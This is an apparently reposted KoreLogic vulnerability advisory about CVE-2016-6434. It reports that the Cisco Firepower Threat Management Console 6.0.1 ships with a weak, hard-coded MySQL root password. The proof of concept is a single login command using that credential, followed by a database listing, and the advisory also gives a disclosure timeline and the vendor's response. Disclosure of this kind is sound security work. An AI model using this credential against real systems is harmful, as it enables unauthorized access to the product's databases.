Cisco Firepower Threat Management Console Hard-Coded MySQL Credentials

2016-10-05T00:00:00
ID PACKETSTORM:138986
Type packetstorm
Reporter Matthew Bergin
Modified 2016-10-05T00:00:00

Description

                                        
                                            `KL-001-2016-005 : Cisco Firepower Threat Management Console Hard-coded MySQL  
Credentials  
  
Title: Cisco Firepower Threat Management Console Hard-coded MySQL Credentials  
Advisory ID: KL-001-2016-005  
Publication Date: 2016.10.05  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-005.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Cisco  
Affected Product: Firepower Threat Management Console  
Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)  
Platform: Embedded Linux  
CWE Classification: CWE-798: Use of Hard-coded Credentials  
Impact: Authentication Bypass  
CVE-ID: CVE-2016-6434  
  
2. Vulnerability Description  
  
The root account for the local MySQL database has poor password  
complexity.  
  
  
3. Technical Description  
  
root@firepower:/Volume/6.0.1# mysql -u root --password=admin  
Warning: Using a password on the command line interface can be insecure.  
Welcome to the MySQL monitor. Commands end with ; or \g.  
Your MySQL connection id is 23348  
Server version: 5.6.24-enterprise-commercial-advanced-log MySQL Enterprise  
Server - Advanced Edition (Commercial)  
  
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.  
  
Oracle is a registered trademark of Oracle Corporation and/or its  
affiliates. Other names may be trademarks of their respective  
owners.  
  
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.  
  
mysql> show databases;  
+--------------------+  
| Database |  
+--------------------+  
| information_schema |  
| Sourcefire |  
| external_data |  
| external_schema |  
| mysql |  
| performance_schema |  
| sfsnort |  
+--------------------+  
7 rows in set (0.00 sec)  
  
mysql>  
  
Note that mysqld listens only on loopback, so a remote attacker  
would have to leverage some other condition to be able to reach  
the mysql daemon.  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has acknowledged this vulnerability  
but has not released a fix for the  
issue. Vendor acknowledgement available at:  
  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc1  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin (@thatguylevel)  
of KoreLogic, Inc.  
  
6. Disclosure Timeline  
  
2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.  
2016.06.30 - Cisco acknowledges receipt of vulnerability report.  
2016.07.20 - KoreLogic and Cisco discuss remediation timeline for  
this vulnerability and for 3 others reported in the  
same product.  
2016.08.12 - 30 business days have elapsed since the vulnerability was  
reported to Cisco.  
2016.09.02 - 45 business days have elapsed since the vulnerability was  
reported to Cisco.  
2016.09.09 - KoreLogic asks for an update on the status of the  
remediation efforts.  
2016.09.15 - Cisco confirms remediation is underway and soon to be  
completed.  
2016.09.28 - Cisco informs KoreLogic that the acknowledgement details  
will be released publicly on 2016.10.05.  
2016.10.05 - Public disclosure.  
  
7. Proof of Concept  
  
See Technical Description  
  
  
The contents of this advisory are copyright(c) 2016  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt  
  
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